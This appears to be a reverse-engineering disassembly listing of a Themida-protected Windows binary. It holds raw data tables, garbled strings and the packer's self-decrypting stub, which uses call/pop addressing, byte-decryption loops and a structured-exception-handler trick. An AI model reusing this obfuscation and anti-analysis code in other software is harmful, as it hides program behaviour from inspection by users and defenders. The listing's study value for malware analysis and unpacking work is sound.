		dd 0B42878h, 2 dup(0)
aGaj_0		db '£€¦Ν',0
		align 4
		dd 0
		dd 60000h, 2 dup(0)
		dd offset dword_5BEB6C
		dd 3 dup(0)
		dd 0FBD96FA6h, 0Ch dup(0)
		dd 77DD6BF0h, 2	dup(0)
		dd 0B10000h, 3 dup(0)
aFir_14		db '”λ|',0
		align 4
		dd 2 dup(0)
		dd 0A9F9FCh, 0
aNia		db '­¨A~',0
		align 4
		dd 3 dup(0)
		dd 0BB3867h, 2 dup(0)
		dd 7C80180Eh, 7C90EB94h, 2C000h, 2 dup(0)
		dd 148E9h, 0B5D76813h, 4, 3 dup(0)
		dd offset byte_5F8CCD
		dd 2 dup(0)
aWB		db 'w',0Ah
		db '|',0
		align 4
		dd 0Fh dup(0)
		dd 979h, 0D24h,	0B12918h, 0
		dd 12h,	0EB5B05F8h, 9 dup(0)
		dd 202FFB0h, 7C90EB94h,	0
		dd offset byte_5BA363
		dd 0
		dd 7C900000h, 6	dup(0)
		dd 836F146Ch, 2	dup(0)
		dd 0FE9FFF74h, 3 dup(0)
		dd offset dword_57F994+68Fh
		dd 94h,	3 dup(0)
		dd 76F36C5Bh, 0
		dd 12FE7Ch, 2 dup(0)
		dd 12FF54h, 0
		dd 1BD0Ah, 2 dup(0)
		dd 789Bh, 0
aGaj_1		db '£€¦Ν',0
		align 4
		dd 2 dup(0)
		dd 7CEF1B06h, 0
		dd 4, 2	dup(0)
		dd 32h,	0
		dd 78h,	0
aW		db 1Bh,'Δίw',0
		align 10h
aA_5:
		unicode	0, <a>,0
		dd 2 dup(0)
		dd offset word_5FFFA6
		dd 0
		dd offset byte_5EB785
		dd offset word_5BFAD6
		dd 3 dup(0)
		dd offset byte_612D59
		dd 2 dup(0)
		dd 836F146Ch, 77DDEDE5h, 5F5974h, 4 dup(0)
aDFXV		db 'DΪFΒΎx±v',0
		align 10h
		dd 44118644h, 3	dup(0)
		dd 5C233A1Dh, 5C3B1Ch, 5 dup(0)
		dd offset byte_5F4CB3
		dd 2 dup(0)
		dd offset dword_5864EC
		align 10h
		dd 12FE80h, 8DC5h, 5 dup(0)
aFir_15		db '”λ|',0
		align 4
		dd 2 dup(0)
		dd 0B18E51h, 3 dup(0)
		dd 25C6E06h, 2 dup(0)
		dd offset word_607F42
		dd offset aRlLbIejSNSNebo ; "R‹Τ`‹B\b‰…¦Ήι\a΅-Ίι\a…‘Ž["
		dd 0B1180Fh, 2 dup(0)
		dd 0BB3867h, 2 dup(0)
		dd offset dword_582534+4
		align 10h
		db '$$$$',0
		align 4
		dd 9 dup(0)
		dd 195ADE90h, 5DDE35h, 3 dup(0)
		dd 73EDEFFCh, 8A8h, 7C900000h, 5850FCh,	0B1180Fh, 4 dup(0)
		dd offset aJGsk+3
		dd 0
		dd 0B87000C0h, 0Dh dup(0)
		dd 0B18B28h, 4 dup(0)
		dd 0B22493h, 3 dup(0)
		dd 0DE8h, 6 dup(0)
		dd 12FFA4h, 0
		dd 2E5Ch, 13h dup(0)
		dd 12FFA4h, 77DDEBE7h, 52F5FEA7h, 6 dup(0)
		dd offset byte_612D59
		align 8
aGr		db '=g|',0
		align 10h
		dd 4 dup(0)
		dd 1, 63DB14C8h, 0
		dd 393F6750h, 1, 7C812A09h, 3 dup(0)
		dd 0BB3867h, 0FEEAE4D7h, 2 dup(0)
		dd 0A9C50000h, 3 dup(0)
		dd 222FFB0h, 0FF44C799h, 2 dup(0)
		dd offset byte_5F425D
		dd 0
		dd offset byte_612D59
		dd 5 dup(0)
aR1		db 'Ȑ1|',0
		align 4
		dd 2 dup(0)
		dd 5BE8h, 0
		dd 0F874248Ah, 0B1AAA1h, 2 dup(0)
aB_1		db 'Ě>b',0
		align 4
		db '$',0Dh,0
		align 4
		dd 0FFFFAC6Bh, 2 dup(0)
		dd 0F82EFCh, 2 dup(0)
		dd 76F21790h, 612D59h, 3 dup(0)
		dd 0FFA4A030h, 26F0000h, 2 dup(0)
		dd offset dword_5CBE30
		dd 0
		dd 0B1180Fh, 3 dup(0)
		dd offset byte_5C173F
		dd 5 dup(0)
		dd 0FFA20882h, 0
		dd 2, 5	dup(0)
		dd 0B48B0Dh, 3 dup(0)
		dd 0B61C1Ch, 0
		dd 0B1180Fh, 0
		dd 3950395h, 0
		dd offset word_5BFAD6
		dd 0Ah dup(0)
		dd 12FF54h, 2 dup(0)
		dd 0E8h, 0D532h, 0Eh dup(0)
		dd offset dword_57F994+68Fh
		align 10h
		dd 8A21177h, 4 dup(0)
		dd 12FFA4h, 5F1E22h, 3 dup(0)
		dd 0FFFFFFFFh, 0
aXeei		db 'x…eλ',0
		align 4
		dd 80h dup(0)
		dd 61074F05h, 5FC39Bh, 6 dup(0)
aDfrD		db 'dF|d°',0
		align 10h
dword_584E70	dd 2 dup(0)						; Themida_:00582EE0o
		dd 32597F5Dh, 2	dup(0)
		dd offset dword_600004
		dd 1, 0
aDFL		db 'DΪFΒ',0Dh,'‹΄',0
		dd 0
		dd 3028D8Dh, 3 dup(0)
		dd 9D6447F9h, 3	dup(0)
		dd offset byte_5F4CB3
		dd 9 dup(0)
aFirF		db '”λ|”=',0
		align 4
		dd 2 dup(0)
aSI		db 'αΘ΅‰',0
		align 10h
aTyujxeei	db 'tYU†x…eλ',7,'$\',0
		dd 9 dup(0)
		dd 836F11E8h, 9	dup(0)
		dd 49877FBh, 0
		dd 7D1h, 2 dup(0)
		dd offset byte_5C53C9
		dd 5 dup(0)
		dd offset dword_582534+4
		align 10h
		dd 0FFFFFFFFh, 0Ch dup(0)
aDeb		db '}€₯',0
		align 4
		dd 3 dup(0)
		dd 2D59h, 3 dup(0)
		dd 7C90FB71h, 0FFA07E09h, 0Dh dup(0)
		dd offset byte_5BF907
		dd 10h dup(0)
		dd 2D59h, 2 dup(0)
		dd 0B3B738h, 0
		dd 9Ch,	0
aSmn		db 'œ™¬',0
		align 10h
aJ		db 8,'ΞΏ†',0
		align 4
aY		db 'Y-',0
		align 4
		dd 4 dup(0)
		dd 0FF4445EBh, 3 dup(0)
		dd 0B10000h, 0A7D287h, 5 dup(0)
		dd 3D57h, 2638h, 0
		dd offset dword_5D9534
		dd 4 dup(0)
		dd 245F0E99h, 0B8h, 74C00B00h, 18C203h,	0C24448Bh, 0E853h
		dd 815B0000h, 17C3h, 245C8900h,	24448910h, 37B85B14h, 0FF00B1FAh
		dd 24448BE0h, 0E0FF04h,	16h dup(0)
		dd offset byte_5F1F49
		dd 6 dup(0)
aDF_0		db 'DΪFΒ',0
		align 2
a@_0		db '@',0
		dd 5 dup(0)
		dd offset byte_60351B
		align 8
		dd offset word_5BFAD6
		dd 2 dup(0)
		dd 2530000h, 0
		dd 0C49CBF16h, 0
		dd offset byte_5F2635
		dd 0
		dd 0B73F5Ch, 0Bh dup(0)
		dd 76B44E5Bh, 7C801A24h, 7C90DDF9h, 0
		dd 5C28h, 0
a0I_1		db 'ί0Ε©',0
		align 4
		dd 5 dup(0)
		dd 7C803518h, 0
		dd 7F1ACA3Dh, 9	dup(0)
		dd 0FFFFFAD6h, 0
		dd offset byte_5DAF8D
		dd 77DDEE5Ah, 912B661Ch, 28h dup(0)
		dd 0FBh, 4 dup(0)
		dd 32597F5Dh, 2	dup(0)
aRestartapp_exe	db 'RestartApp.exe',0
		align 4
		dd offset word_5FA4F2
		dd 0
		dd 4C170C15h, 24h dup(0)
		dd 6813h, 0
aFir_16		db '”λ|',0
		align 10h
		dd 2 dup(0)
		dd 11111111h, 0
		dd 7C90EE18h, 0
		dd 0BD850FBDh, 280h, 6 dup(0)
		dd 1F2FFB0h, 4 dup(0)
		dd offset word_5BFAD6
		dd 7 dup(0)
aN_1		db '!!!!Μn\',0
		dd offset byte_5BCB8D
		dd 0BA6607E9h, 7C8034F0h, 4 dup(0)
		dd offset byte_5BF907
		dd 12FFE0h, 3 dup(0)
		dd 25C6DF4h, 7 dup(0)
		dd offset byte_5FC39B
		dd 0B11920h, 582538h, 3	dup(0)
		dd 0B19417h, 5 dup(0)
		dd 7D0Dh, 89C596B2h, 0Fh dup(0)
		dd offset byte_60AEF3
aThemida	db 'Themida',0
		dd 20h dup(0)
		dd 8A7F6F08h, 9	dup(0)
		dd 9C7C1FAh, 0
		dd offset byte_5C0979
		align 10h
		dd 0FFA3E2B0h, 9 dup(0)
		dd 0B1B508h, 5FF8EDh, 0F66FAD9h, 0FBD96FA6h, 0
		dd 0B1180Fh, 0FAC66FF6h, 0
		dd offset dword_583210
aXa		db '·•',27h,0
		align 8
aTdz		db 't„Z ',0
		align 10h
		dd 0
		dd offset byte_5B4B69
		dd 0
		dd 0FC8A87B5h, 3 dup(0)
		dd 0B69178h, 5 dup(0)
		dd offset dword_5B5FD0
		dd 7 dup(0)
		dd 0FDEBFF2Eh, 0Bh dup(0)
		dd 2D59h, 9 dup(0)
		dd offset byte_60AEF3
		dd 5 dup(0)
		dd 0FFA1487Bh, 11h dup(0)
		dd offset byte_60C639
		dd 0FFFF94A4h, 5 dup(0)
		dd 26D0000h, 0
		dd 0BB3867h, 2 dup(0)
		dd 1A38h, 0
		dd 0FE43FF51h, 1C32DF67h, 3D94h, 2 dup(0)
		dd 963Ah, 0
		dd 1, 2	dup(0)
		dd offset byte_5C3867
		dd 0
aCM_unpacker	db 'C:\m_unpacker',0
		align 4
		dd 7Dh dup(0)
		dd 0F874248Ah, 60C4CAh,	2 dup(0)
		dd 0FFFF98EAh, 0
		dd 0B119F0h, 6 dup(0)
		dd 170DEF19h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_585A20:				; CODE XREF: start:loc_58248Bj
		mov	eax, ebp
		mov	edx, esp
		pusha
		call	$+5
		pop	ebp
		sub	ebp, 7E4359Fh
		mov	[ebp+7E40649h],	edx
		mov	[ebp+7E40F11h],	esi
		mov	[ebp+7E41271h],	eax
		cmp	dword ptr [ebp+7E40E65h], 0
		jz	short loc_585A58
		mov	ebp, eax
		mov	esp, edx
		mov	eax, 1
		retn	0Ch
; ---------------------------------------------------------------------------


loc_585A58:				; CODE XREF: start+70A36j
		mov	eax, [esp+40h+var_1C]
		mov	[ebp+7E41551h],	eax
		push	45h
		call	sub_585B0C
		push	783749Ah
		call	sub_585B52
		push	0A894B25h
		call	sub_585B52
		jmp	loc_585C96
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		dw 4645h
		dd 4A494847h, 4E4D4C4Bh, 5251504Fh, 56555453h, 5A595857h
		dd 5E5D5C5Bh, 6261605Fh, 66656463h, 6A696867h, 6E6D6C6Bh
		dd 7271706Fh, 76757473h, 7A797877h, 7E7D7C7Bh, 8281807Fh
		dd 86858483h, 8A898887h, 8E8D8C8Bh, 9291908Fh, 96959493h
		dd 9A999897h, 9E9D9C9Bh, 0A2A1A09Fh, 0A6A5A4A3h, 0AAA9A8A7h
		dd 0AEADACABh, 0B2B1B0AFh, 0B6B5B4B3h, 0BAB9B8B7h, 0BEBDBCBBh
		dd 0C2C1C0BFh, 0C3h, 2 dup(0)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_585B0C	proc near		; CODE XREF: start+70A50p

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFD8h
		pusha
		call	$+5
		pop	edx
		sub	edx, 7E4368Dh
		mov	ebx, edx
		mov	[ebp+var_28], 0


loc_585B28:				; CODE XREF: sub_585B0C+39j
		mov	eax, [ebp+var_28]
		inc	eax
		mov	[ebp+var_28], eax
		cmp	[ebp+var_28], 80h
		jz	short loc_585B47
		mov	eax, [ebp+arg_0]
		mov	[ebx+7E435F7h],	eax
		inc	[ebp+arg_0]
		inc	ebx
		jmp	short loc_585B28
; ---------------------------------------------------------------------------


loc_585B47:				; CODE XREF: sub_585B0C+2Aj
		mov	[ebp+var_24], eax
		popa
		mov	eax, [ebp+var_24]
		leave
		retn	4
sub_585B0C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_585B52	proc near		; CODE XREF: start+70A5Ap start+70A64p

var_84		= dword	ptr -84h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFF7Ch
		pusha
		call	$+5
		pop	edx
		sub	edx, 7E436D6h
		lea	eax, [ebp+var_80]
		mov	ebx, [ebp+arg_0]
		mov	[ebp+var_84], 0


loc_585B78:				; CODE XREF: sub_585B52+41j
		mov	ecx, [ebp+var_84]
		rol	ebx, 1
		mov	[eax], bl
		inc	ecx
		mov	[ebp+var_84], ecx
		cmp	[ebp+var_84], 80h
		jnz	short loc_585B78
		mov	[ebp+var_84], 0
		lea	edi, [edx+7E435F7h]
		lea	esi, [ebp+var_80]


loc_585BA8:				; CODE XREF: sub_585B52+83j
		mov	cl, [esi]
		mov	ebx, 1F4h
		mov	eax, 785437ABh


loc_585BB4:				; CODE XREF: sub_585B52+69j
		rcl	eax, cl
		mov	cl, [edi]
		rcl	eax, cl
		dec	ebx
		jnz	short loc_585BB4
		imul	eax, ebx
		inc	edi
		inc	esi
		mov	ecx, [ebp+var_84]
		inc	ecx
		mov	[ebp+var_84], ecx
		cmp	ecx, 80h
		jnz	short loc_585BA8
		popa
		leave
		retn	4
sub_585B52	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF0h
		mov	esi, [ebp+8]
		mov	dword ptr [ebp-4], 0
		jmp	short loc_585BF2
; ---------------------------------------------------------------------------


loc_585BEE:				; CODE XREF: Themida_:00585BF5j
		inc	dword ptr [ebp-4]
		inc	esi


loc_585BF2:				; CODE XREF: Themida_:00585BECj
		cmp	byte ptr [esi],	0
		jnz	short loc_585BEE
		mov	edx, 0
		mov	esi, [ebp+8]
		mov	edi, [ebp+0Ch]
		jmp	short loc_585C83
; ---------------------------------------------------------------------------


loc_585C04:				; CODE XREF: Themida_:00585C86j
		mov	dword ptr [ebp-8], 0
		jmp	short loc_585C7A
; ---------------------------------------------------------------------------


loc_585C0D:				; CODE XREF: Themida_:00585C7Ej
		mov	dword ptr [ebp-10h], 0
		mov	dword ptr [ebp-0Ch], 0
		jmp	short loc_585C67
; ---------------------------------------------------------------------------


loc_585C1D:				; CODE XREF: Themida_:00585C6Bj
		shl	dword ptr [ebp-10h], 4
		mov	eax, [ebp-8]
		shl	eax, 1
		add	eax, edx
		add	eax, [ebp-0Ch]
		xor	ebx, ebx
		mov	bl, [eax+esi]
		cmp	bl, 30h
		jb	short loc_585C3F
		cmp	bl, 39h
		ja	short loc_585C3F
		sub	bl, 30h
		jmp	short loc_585C61
; ---------------------------------------------------------------------------


loc_585C3F:				; CODE XREF: Themida_:00585C33j
					; Themida_:00585C38j
		cmp	bl, 61h
		jb	short loc_585C51
		cmp	bl, 66h
		ja	short loc_585C51
		sub	bl, 61h
		add	bl, 0Ah
		jmp	short loc_585C61
; ---------------------------------------------------------------------------


loc_585C51:				; CODE XREF: Themida_:00585C42j
					; Themida_:00585C47j
		cmp	bl, 41h
		jb	short loc_585C61
		cmp	bl, 46h
		ja	short loc_585C61
		sub	bl, 41h
		add	bl, 0Ah


loc_585C61:				; CODE XREF: Themida_:00585C3Dj
					; Themida_:00585C4Fj ...
		add	[ebp-10h], ebx
		inc	dword ptr [ebp-0Ch]


loc_585C67:				; CODE XREF: Themida_:00585C1Bj
		cmp	dword ptr [ebp-0Ch], 2
		jb	short loc_585C1D
		cmp	dword ptr [ebp-10h], 0
		jbe	short loc_585C77
		mov	eax, [ebp-10h]
		stosb


loc_585C77:				; CODE XREF: Themida_:00585C71j
		inc	dword ptr [ebp-8]


loc_585C7A:				; CODE XREF: Themida_:00585C0Bj
		cmp	dword ptr [ebp-8], 2
		jb	short loc_585C0D
		add	edx, 4


loc_585C83:				; CODE XREF: Themida_:00585C02j
		cmp	edx, [ebp-4]
		jb	loc_585C04
		mov	al, 0
		stosb
		mov	eax, [ebp-4]
		leave
		retn	8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_585C96:				; CODE XREF: start+70A69j
		mov	ecx, 7000h
		lea	edi, [ebp+7E4381Ch]


loc_585CA1:				; CODE XREF: start+70C91j
		dec	byte ptr [edi]
		inc	edi
		dec	ecx
		jnz	short loc_585CA1
		mov	eax, 48692121h
		mov	edx, 0F0115000h
		sub	edx, 0F0000000h
		lea	eax, [ebp+7E4390Eh]
		push	eax
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		call	$+5
		pop	eax
		push	0
		push	edx
		call	sub_585CDD
		and	[edx-3Dh], bl
; END OF FUNCTION CHUNK	FOR start

; =============== S U B	R O U T	I N E =======================================



sub_585CDD	proc near		; CODE XREF: start+70CC1p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 14h
		inc	edx
		push	edx
		retn
sub_585CDD	endp

; ---------------------------------------------------------------------------
		db 73h,	56h, 66h
		dd 5B6AD2BBh, 1800Fh, 0F9F90000h, 66C22BF9h, 1B63F381h
		dd 0FFF00025h, 0DFB70FFFh, 0FF33CA8Bh, 4D388166h, 0F0E755Ah
		dd 33C50B7h, 503A81D0h,	74000045h, 10002D08h, 0EB470000h
		dd 58F64E3h, 0
		dd 8D04C483h, 0E4392195h, 0FF645207h, 35h, 25896400h, 0
		dd 2DC103h, 8B000010h, 0E6810470h, 0FFFF0000h, 0FE81h
		dd 3768000h, 331C708Bh,	32F883C0h, 81661F74h, 745A4D3Eh
		dd 0EE8109h, 40000100h,	7E8BEBEBh, 81FE033Ch, 45503Fh
		dd 0EB447400h, 58F64E8h, 0
		dd 6104C483h, 4C8B51C3h, 0A9811024h, 0B0h, 1000h, 0C3C03359h
		dd 244C8B51h, 0E85510h,	5D000000h, 392CED81h, 858D07E4h
		dd 7E438EAh, 0B88189h, 595D0000h, 96C3C033h, 58F64h, 83000000h
		dd 0BE804C4h, 9000000h,	99CB7383h, 7ECAA2F6h, 0EF80436Ch
		dd 0FEB75BE8h, 52D98C66h, 19D0BBBh, 0E1805B70h,	50006A04h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1A04h, 0C3504000h
		dd 0C2DDED80h, 0E9AA6492h, 0Ch,	675A107h, 0BB4F5D4Bh, 79B14D43h
		dd 850FC90Ah, 79h, 14E960h, 2D300000h, 7A183783h, 2E0315FBh
		dd 15CF39A9h, 81DA85EFh, 0C68AF61Eh, 22BB6661h,	1585C738h
		dd 107E420h, 6A000000h,	3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1C042444h, 41000000h, 83BDC351h, 7CB40D07h
		dd 0E93BA3AEh, 13h, 0F17EE9E2h,	0C62AECADh, 0B6A56C88h
		dd 444926FFh, 66DEAF17h, 0BF0FDF8Bh, 14E9D8h, 81660000h
		dd 8B157CCBh, 1585C7DFh, 7E420h, 0F000000h, 8589DAB7h
		dd 7E4019Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 19h,	0CC35343h, 66832669h, 0EE9DCh, 0F9EF0000h, 96A80AFh
		dd 9948D15Fh, 5778ADC5h, 75DB8166h, 41858912h, 0E807E421h
		dd 6, 631233Ah,	8B6698CFh, 8C0F5FC1h, 2, 0C78195B0h, 75BBh
		dd 0F512BEF8h, 0EE813B77h, 3B77D7C8h, 38DAD281h, 1F8B0551h
		dd 2800F60h, 8A000000h,	0C38161C5h, 1FE5114Ch, 7E9h, 0C5D59300h
		dd 0A8DDE311h, 895F381h, 0D38B4DA3h, 0E73FEB81h, 0B8662AE7h
		dd 0B953710Eh, 635E71BEh, 0B866078Fh, 0EF8368BDh, 4F7EB402h
		dd 0D38B664Fh, 0D850F4Eh, 0E9000000h, 1Bh, 0EB316Eh, 4341A007h
		dd 49E98166h, 0FF9CE961h, 990EFFFFh, 0F6A69413h, 0E8F4ED61h
		dd 6, 0FF06E11Fh, 0BE66B8F6h, 815A31A2h, 62CAC2h, 14E900h
		dd 0D13A0000h, 817A1EDDh, 5974B0BEh, 3488FE70h,	0C55664FEh
		dd 688094h, 0F000000h, 6659F0B7h, 34FFC78Bh, 8A0F5B11h
		dd 2, 0C381F28Bh, 109C3FAh, 0C6E08152h,	5F176482h, 25C2F381h
		dd 0BF0F6DD9h, 0D9F381F7h, 661A86E6h, 89A7B0BEh, 6FB80A1Ch
		dd 0F412DE0h, 287h, 83FA8B00h, 0B70F01E9h, 494949F0h, 0F981F88Bh
		dd 0FFFF9DDCh, 0B850Fh,	1BE90000h, 0BC000000h, 0F875DBDDh
		dd 3870F81h, 66000000h,	93E9FA8Bh, 0FFFFFFFh, 0B9D9BD2Eh
		dd 4EB7148h, 21Bh, 6E3E9h, 0E0816000h, 3919B8BBh, 24ADBD09h
		db 0E4h, 7, 61h
byte_586067	db 60h			; DATA XREF: Themida_:005842C4o
		dd 68F0F60h, 0F000000h,	88h, 0C02B6100h, 1E199D89h, 548B07E4h
		dd 89F92824h, 0E412D185h, 0C58D8907h, 0BE07E41Ch, 3Ch
		dd 7E960h, 0DD520000h, 5AA3BF81h, 8BCB8000h, 24740361h
		dd 3D858924h, 6607E42Bh, 71B589ADh, 307E41Ch, 89242444h
		dd 0E4043D8Dh, 13E907h,	8150000h, 0BA764FC2h, 0CD444F80h
		dd 91B50B4Dh, 4C1612BDh, 840F5067h, 19h, 14E9h,	4039A000h
		dd 571085ADh, 7E4FDA13h, 0F6CFC41Fh, 1B49D7C8h,	240489CBh
		dd 2D199589h, 8BF807E4h, 81607840h, 8BE50EEBh, 44036112h
		dd 0BD892824h, 7E42D1Dh, 0F918408Bh, 8589F540h,	7E43BC5h
		dd 1BADB589h, 0F5807E4h, 18Dh, 708BF900h, 11B53178h, 2907E425h
		dd 0E414F185h, 1CC68307h, 0BE9h, 0D267C800h, 89617AFEh
		dd 0CBC6FF96h, 24247403h, 5E9h,	85CA5300h, 0BD8DCBB7h
		dd 7E4090Dh, 1860Fh, 0FF80000h,	1384h, 8D0B6000h, 7E426F9h
		dd 6E9h, 8510C300h, 6131F885h, 0B58D89ADh, 307E423h, 60242444h
		dd 0D04BE66h, 2C4D8D8Bh, 896107E4h, 0E42A0595h,	0BB60AB07h
		dd 6B878890h, 0BE9h, 6ED4B00h, 0EC2EFC73h, 7F36129Dh, 0DBD8D61h
		dd 0F07E422h, 68Bh, 0ADB50900h,	0AD07E407h, 61958B60h
		dd 6007E427h, 6AD8D8Bh,	10E907E4h, 82000000h, 96BA1429h
		dd 0C98CA7AAh, 5048C203h, 61CB0BFBh, 2D8D8961h,	307E41Ah
		dd 0E9242444h, 0Eh, 3AE6EBBFh, 0F3355722h, 9666EDABh, 6050898Eh
		dd 51B8ECB6h, 616ABFA2h, 31240489h, 0E4023585h,	0AE9AB07h
		dd 42000000h, 7F4104BCh, 93FF09CAh, 0F9BD8DF0h,	0F07E41Ah
		dd 18Eh, 29ADFC00h, 0E4264195h,	24440307h, 6800F28h, 29000000h
		dd 0E42005BDh, 0E9F8AB07h, 7, 0A0006EC0h, 5E94CA40h, 6850Fh
		dd 8D310000h, 7E40DB9h,	2DC5B589h, 8DFF07E4h, 7E43BC5h
		dd 3BC5BD83h, 750007E4h, 2444C710h, 1Ch, 41B58D00h, 0FF07E440h
		dd 3AD56E6h, 97282444h,	858ADF8Bh, 7E42C2Dh, 474C084h
		dd 4C75073Ah, 0AEC03257h, 2B5EFD75h, 33FC52FBh,	0D18B49C9h
		dd 0DB33C033h, 8AC132ACh, 8AEA8ACDh, 6608B6D6h,	0D166EBD1h
		dd 660973D8h, 66504135h, 5449F381h, 0EB75CEFEh,	0D333C833h
		dd 0F7D5754Fh, 8BD1F7D2h, 10C0C1C2h, 5AC18B66h,	0F74D03Bh
		dd 4C6835Eh, 12D185FFh,	6FE907E4h, 5EFFFFFFh, 0FE9h, 72851700h
		dd 46E32429h, 0A80216A0h, 0C5B98C77h, 63D9D89h,	858B07E4h
		dd 7E412D1h, 2A5D9D89h,	0E0D107E4h, 33319D89h, 850307E4h
		dd 7E41AF9h, 0F62BF8F5h, 95895360h, 7E40A99h, 2E18159h
		dd 61797576h, 31858996h, 6607E430h, 6D8509ADh, 0C107E416h
		dd 950902E0h, 7E42B05h,	0BE9h, 0B14C8800h, 0DE942BCAh
		dd 1DA46258h, 90D8503h,	8F0F07E4h, 14h,	0FE9h, 5D1A2F00h
		dd 3CB2D88h, 987063C4h,	0C84E4C4Fh, 0E7816096h,	4D8B11B6h
		dd 1F21B589h, 0AD6107E4h, 5E9h,	0CD60C00h, 4C8BAEBCh, 9D092424h
		dd 7E4156Dh, 24244403h,	0DAD9529h, 448907E4h, 880F1C24h
		dd 1, 6830FF9h,	89000000h, 0E4236595h, 85899607h, 7E4165Dh
		dd 0F60ACF9h, 58Eh, 0D8816600h,	3261B717h, 8E0F60C9h, 2
		dd 0FE615953h, 198B0FC1h, 0F000000h, 1384h, 0EE900h, 0EAE70000h
		dd 3E20835h, 822B580Dh,	7CF68B79h, 830FD0D0h, 0A0h, 0FD0D0FCh
		dd 9783h, 160F500h, 0E41B21B5h,	0A1852907h, 6107E408h
		dd 820FD0D0h, 80h, 23099529h, 0D0D007E4h, 72820Fh, 95090000h
		dd 7E40E4Dh, 0FC9FEFCh,	0FFFFBB89h, 61F960FFh, 8920C483h
		dd 0E4142985h, 2444C707h, 0FCh,	0BD016000h, 7E40299h, 0EFD9D29h
		dd 0B86107E4h, 1, 6E9h,	80D73900h, 0E968B082h, 12h, 403D9135h
		dd 3D740481h, 21B46085h, 0C3EDF65Ah, 8D8D2CCCh,	7E472B7h
		dd 2025B529h, 0E1FF07E4h, 7E9h,	7A2EA200h, 13495F31h, 2C2D85C6h
		dd 0FC0007E4h, 0B58B6061h, 7E41D6Dh, 0EB02E981h, 0C2614AD2h
		dd 9D890008h, 7E41979h
dword_5864EC	dd 50525050h, 0F616052h, 0BE931h, 5B220000h, 1E08F1F3h
					; DATA XREF: Themida_:00584838o
		dd 7C58283Fh, 0F585A92h, 0EE931h, 0B0330000h, 0B7D08BD3h
		dd 0CC3FE22Ch, 8C353668h, 3489585Ah, 1E860F24h,	0F000000h
		dd 188Ah, 13E900h, 0CC50000h, 0F64CD755h, 4128CEBFh, 0A4B94DBBh
		dd 410C9122h, 8AB58937h, 0E907E442h, 0Ah, 32BAF8E8h, 0CA64B211h
		dd 8D898360h, 7E44295h,	6840Fh,	0BD010000h, 7E41945h, 410BB58Dh
		dd 8DFC07E4h, 5B8EA185h, 0D0FFFC00h, 0B5B58960h, 6007E41Ah
		dd 6161C8B6h, 0EDBD095Eh, 0C307E418h, 243DB589h, 0B58B07E4h
		dd 7E4428Ah, 0F858589h,	8D8B07E4h, 7E44295h, 68A0Fh, 0B5090000h
		dd 7E42B69h, 0B8h, 168A0F00h, 0F000000h, 108Fh,	0BE900h
		dd 4200000h, 8D1E66E5h,	0CC306876h, 0E9D98B8Bh,	8, 29E5735h
		dd 2BC81AE0h, 0ECE9h, 6800F00h,	89000000h, 0E40DED8Dh
		dd 29263207h, 0E40EA58Dh, 0F902B207h, 8CE9h, 1D860F00h
		dd 60000000h, 10E9h, 987BA500h,	3ED2A770h, 0AE380F4Ch
		dd 95337C87h, 0B19D897Ch, 6107E406h, 60FCC232h,	68D0Fh
		dd 0DF810000h, 27FFFD2h, 3BC78166h, 7A056111h, 298A751Dh
		dd 0E42AE195h, 85B58907h, 8A07E409h, 850B60CCh,	7E4140Dh
		dd 0FCC8D361h, 0D1084235h, 14E998h, 6A2C0000h, 7712847Dh
		dd 49D92D96h, 32F19DC5h, 0E4A40B56h, 0CAFE6346h, 10E9h
		dd 0A435DE00h, 2C3B319Eh, 3D253766h, 0A1672D0Ch, 0FD20A55h
		dd 0FFFF8F85h, 0C800FFFh, 0F000000h, 687h, 0A9853100h
		dd 4B07E40Bh, 11E9h, 0CE67A400h, 0E7BA6760h, 821D5FA5h
		dd 89967BEBh, 146C0CDh,	0E41CD59Dh, 68E0F07h, 31000000h
		dd 0E40D898Dh, 0FDB0B07h, 0FFFF1885h, 0E800FFFh, 60000000h
		dd 159D8Bh, 870F07E4h, 0
		dd 11E9CF61h, 72000000h, 4FAD12EAh, 0EDD77C8Bh,	0DA3D931Ah
		dd 4D1D4049h, 8E9h, 959BE500h, 8B892C74h, 29000066h, 0E420C995h
		dd 0FC000007h, 66600000h, 22BAC781h, 8D0F6061h,	3, 66D0BF0Fh
		dd 0A0E5DF81h, 0F9000061h, 3BDC858Dh, 12E907E4h, 91000000h
		dd 878261E5h, 0D88300h,	6C81D8EAh, 73FFA96Ch, 81BD8987h
		dd 8907E400h, 0E41E3985h, 6E907h, 9CF70000h, 0CB4BE497h
		dd 4061858Dh, 89FC07E4h, 0E423AD85h, 14EB07h, 3	dup(0)
		dd 0E4000000h, 8D000000h, 0E443C885h, 0AD858907h, 8307E418h
		dd 0E44300BDh, 840F0007h, 12Bh,	2C2D85C6h, 0E85607E4h
		dd 4, 0D41F6D39h, 24448B50h, 89008B04h,	58042444h, 19DB5FFh
		dd 858D07E4h, 7E43BDCh,	8589D0FFh, 7E442F4h, 2C2D85C6h
		dd 0E85607E4h, 4, 9CA8B852h, 24448B50h,	89008B04h, 58042444h
		dd 19DB5FFh, 858D07E4h,	7E43BDCh, 8589D0FFh, 7E442F8h
		dd 7C68046Ah, 8170F240h, 507C2434h, 858B70F2h, 7E44304h
		dd 1F405h, 2E0C100h, 6A905090h,	0F895FF00h, 8907E442h
		dd 0E442FC85h, 0B8D88B07h, 0FFFFFFFFh, 18AD95FFh, 0C38B07E4h
		dd 18AD95FFh, 84E907E4h
		db 3 dup(0)
byte_586853	db 83h			; DATA XREF: Themida_:00583D38o
